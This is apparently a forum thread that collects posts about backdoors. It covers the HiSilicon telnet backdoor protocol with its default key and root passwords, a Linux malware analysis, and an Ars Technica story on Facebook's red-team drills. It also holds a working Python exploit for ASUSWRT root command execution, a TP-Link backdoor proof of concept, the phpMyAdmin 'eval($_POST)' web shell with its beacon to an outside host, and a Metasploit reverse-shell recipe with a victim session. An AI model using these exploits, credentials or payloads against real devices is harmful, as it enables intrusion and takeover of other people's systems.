Search the Community

Researcher published details about a backdoor mechanism he found in HiSilicon chips, but he did not report it to the vendor due to the lack of trust in it. The Russian security expert Vladislav Yarmak has published technical details about a backdoor mechanism he discovered in HiSilicon chips. The backdoor mechanism could allow attackers to gain root shell access and full control of device. The expert also published a Proof of concept code for the vulnerability. The expert did not disclose the flaw to HiSilicon due to the lack of trust in the vendor to address the issue. HiSilicon is a Chinese fabless semiconductor company based in Shenzhen and owned by Huawei, it is the largest domestic designer of integrated circuits in China. HiSilicon is the largest domestic designer of integrated circuits in China, its chips are used by millions of IoT devices worldwide, including security cameras, DVRs, and NVRs. The presence of backdoor mechanisms in the HiSilicon chips was already documented by other experts in the past. More recent versions of the devices had access enabled with a static root can be recovered from with (relatively) little computation effort. More recent firmware versions had Telnet access and debug port (9527/tcp) disabled by default, but they had open port 9530/tcp that could be exploited by attackers to send a special command to start telnet daemon and enable shell access with a static password ([1], [2], [3]). Yarmak explained that it is possible to exploit the backdoor by sending a series of commands over TCP port 9530 to devices based on HiSilicon chips. The commands allow the attacker to enable the Telnet service on a flawed device, then the attacker could log in using one of the following six Telnet credentials, and gain access to a root account. Login Password root xmhdipc root klv123 root xc3511 root 123456 root jvbzd root hi3518 Below the backdoor activation process described by the expert: Client opens connection to port TCP port 9530 of device and sends string OpenTelnet:OpenOnce prepended with byte indicating total message length. This step is last for previous versions of backdoor. Probably telnetd was already started if there no response after this step. Server (device) anwers with string randNum:XXXXXXXX where XXXXXXXX is 8-digit random decimal number. Client uses it’s pre-shared key and constructs encryption key as concatenation of received random number and PSK. Client encrypts random number with encryption key and sends it after string randNum:. Entire message is prepended with byte indicating total length of message. Server loads same pre-shared key from file /mnt/custom/TelnetOEMPasswd or uses default key 2wj9fsa2 if file is missing. Server performs encryption of random number and verifies result is identical with string from client. On success server sends string verify:OK or verify:ERROR otherwise. Client encrypts string Telnet:OpenOnce, prepends it with total length byte, CMD: string and sends to server. Server extracts and decryptes received command. If decryption result is equal to string Telnet:OpenOnce it responds with Open:OK, enables debug port 9527 and starts telnet daemon. Yarmak pointed out that despite the presence of backdoor mechanism was reported by experts in the past, the vendor was not able to address them and only opted to disable the Telnet service. The bad news for the users is that currently even if no patch is available for the backdoor, the expert decided to publish a proof-of-concept (PoC) code. As mitigation, users are recommended to “completely restrict network access to these devices to trusted users.” According to the expert, there are dozens of brands and hundreds of model vulnerable to hack, he referred to previous research conducted by another researcher that listed some of the vulnerable brands. window._mNHandle = window._mNHandle || {}; window._mNHandle.queue = window._mNHandle.queue || []; medianet_versionId = “3121199”; try { window._mNHandle.queue.push(function () { window._mNDetails.loadTag(“762221962”, “300×250”, “762221962”); }); } catch (error) {} Via

Security researchers with Russian anti-virus company Doctor Web have examined a complex, multi-purpose backdoor for Linux. This malicious program can execute various commands issued by intruders such as to mount DDoS attacks and to perform a wide range of other malicious tasks. To spread the new Linux backdoor, dubbed Linux.BackDoor.Xnote.1, criminals mount a brute force attack to establish an SSH connection with a target machine. Doctor Web security researchers believe that the Chinese hacker group ChinaZ may be behind this backdoor. Once Linux.BackDoor.Xnote.1 gets in, it checks to see whether its copy is already running in the infected system. If it is, the backdoor exits. The malware will only be installed in a system if it has been launched with superuser (root) privileges. During installation, the malware creates a copy of itself in the /bin/ directory in the form of a file called iptable6. It then deletes the original file that was used to launch it. Linux.BackDoor.Xnote.1 also searches the /etc/init.d/ directory for a script that starts with the line "#!/bin/bash" and adds another line to it so that the backdoor will be launched automatically. The program uses the following routine to exchange data with the intruders' control server. To obtain configuration data, the backdoor looks for a special string in its body—the string points to the beginning of the encrypted configuration block, then decrypts it and starts sending queries to control servers on the list until it finds a responding server or until the list ends. Both the backdoor and the server use the library zlib to compress the packets they exchange. First, Linux.BackDoor.Xnote.1 sends information about the infected system to the server. It then goes into standby mode and awaits further instructions. If the command involves carrying out some task, the backdoor creates a separate process that establishes its own connection to the server through which it gets all the necessary configuration data and sends the results of the executed task. Thus, when commanded to do so, Linux.BackDoor.Xnote.1 can assign a unique ID to an infected machine, start a DDoS attack on a remote host with a specific address (it can mount SYN Flood, UDP Flood, HTTP Flood and NTP Amplification attacks), stop an attack, update its executable, write data to a file, or remove itself. The backdoor can also perform a number of actions with files. Having received the appropriate command, Linux.BackDoor.Xnote.1 sends information about the file system of the infected computer (the total number of data blocks in the file system and the number of free blocks) to the server and stands by for other directives which can include: List files and directories inside the specified directory. Send directory size data to the server. Create a file in which received data can be stored. Accept a file. Send a file to the command and control (C&C) server. Delete a file. Delete a directory. Signal the server that it is ready to accept a file. Create a directory. Rename a file. Run a file. In addition, the backdoor can run a shell with the specified environment variables and grant the C&C server access to the shell, start a SOCKS proxy on an infected computer, or start its own implementation of the portmap server. The signature of this malware has been added to the Dr.Web virus database, so systems protected by Dr.Web Anti-virus for Linux are safe from this backdoor. Source

PHP backdoor, not that interesting but might occur more in the future. Reference: https://www.htbridge.com/blog/ransomweb_emerging_website_threat.html Download Source

Description # A service called "infosvr" listens on port 9999 on the LAN bridge. # Normally this service is used for device discovery using the # "ASUS Wireless Router Device Discovery Utility", but this service contains a # feature that allows an unauthenticated user on the LAN to execute commands # <= 237 bytes as root. Source code is in asuswrt/release/src/router/infosvr. # "iboxcom.h" is in asuswrt/release/src/router/shared. # # Affected devices may also include wireless repeaters and other networking # products, especially the ones which have "Device Discovery" in their features # list. # # Using broadcast address as the IP address should work and execute the command # on all devices in the network segment, but only receiving one response is #!/usr/bin/env python3 # Exploit Title: ASUSWRT 3.0.0.4.376_1071 LAN Backdoor Command Execution # Date: 2014-10-11 # Vendor Homepage: http://www.asus.com/ # Software Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/FW_RT_N66U_30043762524.zip # Source code: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/GPL_RT_N66U_30043762524.zip # Tested Version: 3.0.0.4.376_1071-g8696125 # Tested Device: RT-N66U # Description: # A service called "infosvr" listens on port 9999 on the LAN bridge. # Normally this service is used for device discovery using the # "ASUS Wireless Router Device Discovery Utility", but this service contains a # feature that allows an unauthenticated user on the LAN to execute commands # <= 237 bytes as root. Source code is in asuswrt/release/src/router/infosvr. # "iboxcom.h" is in asuswrt/release/src/router/shared. # # Affected devices may also include wireless repeaters and other networking # products, especially the ones which have "Device Discovery" in their features # list. # # Using broadcast address as the IP address should work and execute the command # on all devices in the network segment, but only receiving one response is # supported by this script. import sys, os, socket, struct PORT = 9999 if len(sys.argv) < 3: print('Usage: ' + sys.argv[0] + ' <ip> <command>', file=sys.stderr) sys.exit(1) ip = sys.argv[1] cmd = sys.argv[2] enccmd = cmd.encode() if len(enccmd) > 237: # Strings longer than 237 bytes cause the buffer to overflow and possibly crash the server. print('Values over 237 will give rise to undefined behaviour.', file=sys.stderr) sys.exit(1) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('0.0.0.0', PORT)) sock.settimeout(2) # Request consists of following things # ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO # PacketType [byte] ; NET_PACKET_TYPE_CMD # OpCode [word] ; NET_CMD_ID_MANU_CMD # Info [dword] ; Comment: "Or Transaction ID" # MacAddress [byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp # Password [byte[32]] ; Not checked at all # Length [word] # Command [byte[420]] ; 420 bytes in struct, 256 - 19 unusable in code = 237 usable packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(enccmd)) + enccmd).ljust(512, b'\x00') sock.sendto(packet, (ip, PORT)) # Response consists of following things # ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO # PacketType [byte] ; NET_PACKET_TYPE_RES # OpCode [word] ; NET_CMD_ID_MANU_CMD # Info [dword] ; Equal to Info of request # MacAddress [byte[6]] ; Filled in for us # Length [word] # Result [byte[420]] ; Actually returns that amount while True: data, addr = sock.recvfrom(512) if len(data) == 512 and data[1] == 22: break length = struct.unpack('<H', data[14:16])[0] s = slice(16, 16+length) sys.stdout.buffer.write(data) sock.close() # milw00rm.com [2015-01-04] Source

About the TP-Link Router TP-Link TL-WDR4300 is a popular dual band WiFi, SOHO class router. Tested Firmware We tested the remote root PoC on the newest firmware (published on 25.12.2012): TL-WDR4300 – tested firmware version The following info is provided for educational use only! We are also not resposible for any potential damages of the devices which are tested for this vulnerability. Proof of Concept root@secu:~# nc 192.168.0.1 2222 (UNKNOWN) [192.168.0.1] 2222 (?) : Connection refused root@secu:~# wget http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html --2013-03-09 23:22:31-- http://192.168.0.1/userRpmNatDebugRpm26525557/start_art .html Connecting to 192.168.0.1:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: "start_art.html" [ <=> ] 426 --.-K/s in 0s 2013-03-09 23:22:33 (49.1 MB/s) - "start_art.html" saved [426] root@secu:~# nc 192.168.0.1 2222 ps PID Uid VmSize Stat Command 1 root 404 S init 2 root SW< [kthreadd] 3 root SW< [ksoftirqd/0] 4 root SW< [events/0] 5 root SW< [khelper] 6 root SW< [async/mgr] 7 root SW< [kblockd/0] 8 root SW [pdflush] 9 root SW [pdflush] 10 root SW< [kswapd0] 17 root SW< [mtdblockd] 18 root SW< [unlzma/0] 71 root 2768 S /usr/bin/httpd 76 root 380 S /sbin/getty ttyS0 115200 78 root 208 S ipcserver 82 root 2768 S /usr/bin/httpd 83 root 2768 S /usr/bin/httpd 86 root 732 S ushare -d -x -f /tmp/ushare.conf 92 root 348 S syslogd -C -l 7 96 root 292 S klogd 101 root SW< [napt_ct_scan] 246 root 348 S /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u 247 root 204 S /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u 251 root 364 S /usr/sbin/udhcpd /tmp/wr841n/udhcpd.conf 286 root 2768 S /usr/bin/httpd 299 root 2768 S /usr/bin/httpd 300 root 2768 S /usr/bin/httpd 305 root 2768 S /usr/bin/httpd 307 root 2768 S /usr/bin/httpd 309 root 2768 S /usr/bin/httpd 310 root 2768 S /usr/bin/httpd 389 root 2768 S /usr/bin/httpd Details After the following HTTP request is sent: http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html the router downloads a file (nart.out) from the host which has issed the http request and executes is as root: PoC – diagram Sample captures from the host which issues the http request: Wireshark filter used to show router tftp traffic nart.out tftp request Models affected TL-WDR4300 TL-WR743ND (v1.2 v2.0) … History of the bug 12.02.2013 – TP-Link e-mailed with details – no response 22.02.2013 – TP-Link again e-mailed with details – no response 12.03.2013 – public disclosure More information More information about TP-Link backdoor Source TP-Link http/tftp backdoor

Va recomand sa cititi stirea de mai jos chiar daca e lunga. How do companies prepare for the worst? By exposing workers to lifelike crises. Early on Halloween morning, members of Facebook's Computer Emergency Response Team received an urgent e-mail from an FBI special agent who regularly briefs them on security matters. The e-mail contained a Facebook link to a PHP script that appeared to give anyone who knew its location unfettered access to the site's front-end system. It also referenced a suspicious IP address that suggested criminal hackers in Beijing were involved. "Sorry for the early e-mail but I am at the airport about to fly home," the e-mail started. It was 7:01am. "Based on what I know of the group it could be ugly. Not sure if you can see it anywhere or if it's even yours." Facebook employees immediately dug into the mysterious code. What they found only heightened suspicions that something was terribly wrong. Facebook procedures require all code posted to the site to be handled by two members of its development team, and yet this script somehow evaded those measures. At 10:45am, the incident received a classification known as "unbreak now," the Facebook equivalent of the US military's emergency DEFCON 1 rating. At 11:04am, after identifying the account used to publish the code, the team learned the engineer the account belonged to knew nothing about the script. One minute later, they issued a takedown to remove the code from their servers. With the initial threat contained, members of various Facebook security teams turned their attention to how it got there in the first place. A snippet of an online chat captures some of the confusion and panic: Facebook Product Security: question now is where did this come from Facebook Security Infrastructure Menlo Park: what's [IP ADDRESS REDACTED] Facebook Security Infrastructure Menlo Park: registered to someone in beijing… Facebook Security Infrastructure London: yeah this is complete sketchtown Facebook Product Security: somethings fishy Facebook Site Integrity: which means that whoever discovered this is looking at our code If the attackers were able to post code on Facebook's site, it stood to reason, they probably still had that capability. Further, they may have left multiple backdoors on the network to ensure they would still have access even if any one of them was closed. More importantly, it wasn't clear how the attackers posted the code in the first place. During the next 24 hours, a couple dozen employees from eight internal Facebook teams scoured server logs, the engineers' laptop, and other crime-scene evidence until they had their answer: the engineer's fully patched laptop had been targeted by a zero-day exploit that allowed attackers to seize control of it. This is only a test The FBI e-mail, zero-day exploit, and backdoor code, it turns out, were part of an elaborate drill Facebook executives devised to test the company's defenses and incident responders. The goal: to create a realistic security disaster to see how well employees fared at unraveling and repelling it. While the attack was simulated, it contained as many real elements as possible. The engineer's computer was compromised using a real zero-day exploit targeting an undisclosed piece of software. (Facebook promptly reported it to the developer.) It allowed a "red team" composed of current and former Facebook employees to access the company's code production environment. (The affected software developer was notified before the drill was disclosed to the rest of the Facebook employees). The PHP code on the Facebook site contained a real backdoor. (It was neutralized by adding comment characters in front of the operative functions.) Facebook even recruited one of its former developers to work on the team to maximize what could be done with the access. The FBI e-mail came at the request of Facebook employees in an attempt to see how quickly and effectively various employee teams could work together to discover and solve the problems. "Internet security is so flawed," Facebook Chief Security Officer Joe Sullivan told Ars. "I hate to say it, but it seems everyone is in this constant losing battle if you read the headlines. We don't want to be part of those bad headlines." The most recent dire security-related headlines came last week, when The New York Times reported China-based hackers had been rooting through the publisher's corporate network for four months. They installed 45 separate pieces of custom-developed malware, almost all of which remained undetected. The massive hack, the NYT said, was pursued with the goal of identifying sources used to report a story series related to the family of China’s prime minister. Among other things, the attackers were able to retrieve password data for every single NYT employee and access the personal computers of 53 workers, some of which were directly inside the publisher's newsroom. As thorough and persistent as the NYT breach was, the style of attack is hardly new. In 2010, hackers penetrated the defenses of Google, Adobe Systems, and at least 32 other companies in the IT and pharmaceutical industries. Operation Aurora, as the hacking campaign came to be dubbed, exploited zero-day vulnerabilities in Microsoft's Internet Explorer browser and possibly other widely used programs. Once attackers gained a foothold on employee computers, they used that access to breach other, more sensitive, parts of the companies' networks. The hacks allowed the attackers to make off with valuable Google intellectual property and information about dissidents who used the company's services. It also helped coin the term "advanced persistent threat," or APT, used to describe hacks that will last weeks or months targeting a specific organization that possesses assets the attackers covet. Since then, reports of APTs have become a regular occurrence. In 2011, for instance, attackers breached the servers of RSA and stole information that could be used to compromise the security of two-factor authentication tokens sold by the division of EMC. A few months later, defense contractor Lockheed Martin said an attack on its network was aided by the theft of the confidential RSA data relating to its SecurID tokens, which some 40 million employees use to access sensitive corporate and government computer systems. "That was the inspiration around all this stuff," Facebook Security Director Ryan "Magoo" McGeehan said of the company's drills. "You don't want the first time you deal with that to be real. You want something that you've done before in your back pocket." Even after employees learned this particular hack was only for practice—about a half hour after the pseudo backdoor was closed—they still weren't told of the infection on the engineer's laptop or the zero-day vulnerability that was used to foist the malware. They spent the next 24 hours doing forensics on the computer and analyzing server logs to unravel that mystery. "Operation Loopback," as the drill was known internally, is notable for the pains it took to simulate a real breach on Facebook's network. "They're doing penetration testing as it's supposed to be done," said Rob Havelt, director of penetration testing at security firm Trustwave. "A real pen test is supposed to have an end goal and model a threat. It's kind of cool to hear organizations do this." He said the use of zero-day attacks is rare but by no means unheard of in "engagements," as specific drills are known in pen-testing parlance. He recalled an engagement from a few years ago of a "huge multinational company" that had its network and desktop computers fully patched and configured in a way that made them hard to penetrate. As his team probed the client's systems, members discovered 20 Internet-connected, high-definition surveillance cameras. Although the default administrator passwords had been changed, the Trustwave team soon discovered two undocumented backdoors built into the surveillance cameras' authentication system. Havelt's team exploited the backdoors to remotely take control of the cameras. With the ability to view their output, change their direction, and zoom in and out, the Trustwave employees trained them on computer keyboards as employees in the unidentified company entered passwords. With the help of the cameras' 10x zoom, the pen testers were able to grab a "ton" of credentials and use them to log in to the company's network. From there, the employees escalated privileges to gain administrative control of the network. (The employees later reported the vulnerability to the camera manufacturer, resulting in the eventual release of this security advisory.) We "ended up with domain admin on the internal network just because [the client] left these cameras on the Internet," Havelt said during a talk at last year's RSA conference. Havelt recalled a separate engagement in the last 12 months that involved a different client. After his team gained access to a system that was on the company's internal network, the hired hackers injected malicious code into webpages regularly accessed by the company's developers. The malicious Java applet exploited a recently discovered vulnerability in the Java software framework that Oracle had yet to patch. With full access to one of the developer's machines, the payload installed a new set of cryptographic keys that was authorized to access the company's servers using the SSH, or secure shell protocol. With that significant toehold established, the pen testers were able to escalate their control over the client's network. Adriel Desautels, CEO of pen testing firm Netragard, is also no stranger to the use of zero-day exploits, although he said he's often able to infect his clients using less sophisticated methods. During a recent engagement for a sensitive governmental agency located in the US, for instance, his team used social engineering to trick an agency employee into clicking on a link. The link, unbeknownst to the employee, installed "Radon," which is the name of pseudo-malware designed by Netragard to allow employees the same kind of sophisticated access many state-sponsored hackers behind espionage campaigns have. With the employee's desktop computer infected, Radon rummaged through the agency's network and added malicious commands to the "batch file" every computer ran when it logged in. The modified file caused each computer to also become infected with Radon. Seizing control of hundreds of independent machines gave the Netragard hackers a higher likelihood of maintaining persistence over the network, even in the event that the initial infection was discovered and cleaned up. "Eventually, it was game over," Desautels told Ars. "We had more control over their network than they did. That's how you do it. You don't just infect one system and stick it in their network and then try to infect the company. That doesn't guarantee you're going to be successful." Desautels praised the architects of Operation Loopback because Facebook "did more than most other companies in this industry will do." But he went on to say that the engagement was significantly more limited than most attacks waged by well-funded and experienced hackers who are intent on penetrating a Fortune 500 company. "If this were a real attack, they probably would have gone after multiple employees, especially with a zero day," he explained. "Why target one user when you have potentially hundreds of users you can target and get hundreds of points of entry?" Facebook, he continued, "probably got some good insight. But [the engagement] is not nearly as realistic as it would be if it was a nation-state attack just because [Operation Loopback] was very singular." Stress testing Facebook's incident response To be fair, the drill Facebook executives devised wasn't intended to replicate every characteristic of a real-world attack. Instead, the executives wanted to develop employees' ability to work together to respond to an attack that could have a catastrophic effect on the site's security. Sullivan, Facebook's CSO, calls it a "stress test" of his incident response team. "The team had grown substantially in the prior year, and we wanted to see if everyone is going to start screaming at each other or blaming each other because 'your logging system broke,' or 'your automated alerting should have triggered over here.' That was the human side of the test." Operation Loopback also wasn't the first drill to test employees' ability to respond effectively in times of crisis. Six months earlier, McGeehan, the company's security director, installed a host of powerful hacking tools on a laptop computer, connected it to the Facebook internal wireless network, and stashed it behind a supply cabinet in a public hallway. A few days later, employees with the company's physical security team reported the discovery of the mysterious laptop to the security team, touching off another tense response. Over the following day, employees scouring server logs found the computer's MAC, or media access control, address had accessed key parts of Facebook's network. "The first thing is: 'Oh my God. Panic,'" McGeehan said as he recalled his team's response to the incident. For almost 24 hours, the situation gave most employees every indication of being real. "As we're dealing with this, we realize that our network has been intruded on by some bad guy. Everyone in this room [is] thinking about 'how are we going to tear down our entire network? How are we going to basically deal with the worse-case scenario as a security incident?" To ratchet up the stress even further, the drill organizers sent an e-mail to members of Facebook's security team a few hours after the laptop was disconnected from the Facebook network. The e-mail purported to come from members of what's known as the Koobface Gang, whose members last year were identified as the perpetrators of virulent malware that spread over the social networking site. It made a series of demands of Facebook and promised serious reprisals if they weren't met. With Project Vampire, as the drill was dubbed, the employees worked a full 24 hours before they learned it wasn't a real hack. "We felt it was a necessary thing to have a great security team to put them through this kind of stuff," Sullivan explained. The organizers made an exception, however, when early in the drill, an employee said the magnitude of the intrusion he was investigating would require him to cancel a vacation that was scheduled to begin the following week. McGeehan pulled the employee aside and explained it was only a drill and then instructed him to keep that information private. Drills that use real zero-day vulnerabilities, require outside penetration testing firms, and suck up hundreds or thousands of man hours on non-production activities are expensive to carry out. But in a post-Operation Aurora world, where companies as security-savvy as Google and RSA are hacked and ransacked of valuable data, it is becoming increasingly necessary. "These things used to be unheard of when back when, except for governmental type organizations," Trustwave's Havelt said. "Now, you're seeing this more in the private sector. It's good to see. If it were any other industry and it was any other critical function of a product not doing this you'd have people screaming that [the companies] were negligent and wanting to sue them left and right." Sursa: At Facebook, zero-day exploits, backdoor code bring war games drill to life | Ars Technica Via: Digg - What the Internet is talking about right now

De curând echipa ce r?spunde de securitatea phpMyAdmin a anun?at c? unul din serverele SourceForge.Net a fost compromis, iar la arhiva phpMyAdmin-3.5.2.2-all-languages.zip a fost ad?ugat fi?ierul server_sync.php ce con?ine urm?torul cod PHP: <?php @eval($_POST['c']); ?> De asemenea a fost modificat ?i fi?ierul /js/cross_framing_protection.js unde a fost ad?ugat urm?torul cod JavaScript (pentru a afla adresele serverelor infectate): var icon ; icon = document.createElement("img"); icon.src="http://logos.phpmyadmin-images.net/logo/logos.jpg"; icon.width=0; icon.height=0; document.body.appendChild(icon); Conform declara?iilor oficiale ale administra?iei SourceForge.Net, aproximativ 400 utilizatori au desc?rcat fi?ierul ce con?ine acest backdoor. Sursa: Compromised SourceForge mirror

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.10 (ip) LPORT=31337 (port) X >/tmp/msn.exe (nume backdoor) înainte ca cineva s?-l deschida trebuie sa setam msf. msf > use exploit/multi/handler msf exploit(handler) > set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp. msf exploit(handler) > set LHOST 192.168.1.101 LHOST => 192.168.1.101 msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > exploit [*] Started reverse handler on port 31337 [*] Starting the payload handler… sa vedem ce se întâmpl? atunci când victim? il deschide [*] Sending stage (240 bytes) [*] Command shell session 1 opened (192.168.1.10:31337 -> 192.168.1.253:1049) Microsoft Windows XP [Versione 5.1.2600] © Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\ago\Documenti\Download>